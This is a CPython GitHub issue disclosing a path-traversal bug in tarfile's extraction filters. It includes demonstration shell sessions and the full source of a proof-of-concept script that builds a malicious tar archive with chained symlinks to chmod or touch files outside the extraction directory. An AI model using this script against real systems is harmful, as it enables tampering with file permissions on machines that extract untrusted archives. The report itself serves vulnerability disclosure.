Uh oh!
There was an error while loading.Please reload this page.
- Notifications
You must be signed in to change notification settings - Fork32k
Open
Description
TarFile.extractall()
can be tricked into chmodding arbitrary file (outside of the destination directory) to0755
, despite usingfilter='tar'
:
$target=$(mktemp)$defeatpep706 eggs.tar$target$ls -l$target-rw------- 1 jwilk jwilk 0 Dec 16 12:00 /tmp/tmp.uxCZC0Zs3F$python3 -m tarfile --filter=tar -e eggs.tar$(mktemp -d)$ls -l$target-rwxr-xr-x 1 jwilk jwilk 0 Jan 1 1970 /tmp/tmp.uxCZC0Zs3F
filter='data'
is vulnerable too, although in that case the damage is limited to updating the file timestamp:
$target=$(mktemp)$defeatpep706 eggs.tar$target$ls -l$target-rw------- 1 jwilk jwilk 0 Dec 16 12:01 /tmp/tmp.WeCifOsQmp$python3.12 -m tarfile --filter=data -e eggs.tar$(mktemp -d)$ls -l$target-rw------- 1 jwilk jwilk 0 Jan 1 1970 /tmp/tmp.WeCifOsQmp
Here's the source for thedefeatpep706
script:
#!/usr/bin/python3importargparseimportosimporttarfileap=arparse=argparse.ArgumentParser()ap.add_argument('tarpath',metavar='TARBALL')ap.add_argument('target',metavar='TARGET')opts=ap.parse_args()target=os.path.abspath(opts.target)withtarfile.open(opts.tarpath,'w')astar:defaddmemb(name,**kwargs):memb=tarfile.TarInfo(name)fork,vinkwargs.items():getattr(memb,k)setattr(memb,k,v)tar.addfile(memb)# lrw-r--r-- pwn -> .addmemb('pwn',type=tarfile.SYMTYPE,linkname='.')# "pwn" is a very innocent symlink.# drwxrwxrwx pwn/addmemb('pwn',type=tarfile.DIRTYPE,mode=0o777)# But now "pwn" is also a directory, so it's scheduled to have its# metadata updated later.# lrw-r--r-- pwn -> x/x/x/x/⋯⋯⋯/x/../../../../⋯⋯⋯/../TARGETaddmemb('pwn',type=tarfile.SYMTYPE,linkname=('x/'*99+'../'*99+target))# Oops, "pwn" is not so innocent any more.# But technically it's still pointing inside the dest dir,# so it doesn't upset the "data" filter.# lrw-r--r-- x/x/x/x/⋯⋯⋯/x -> ../../../⋯⋯⋯/..addmemb(('x/'*99),type=tarfile.SYMTYPE,linkname=('../'*98))# The newly created symlink symlink points to the dest dir,# so it's OK for the "data" filter.# But now "pwn" points to the target (outside the dest dir).
Tested with Python 3.12.8.
Metadata
Metadata
Assignees
Labels
Projects
Status
No status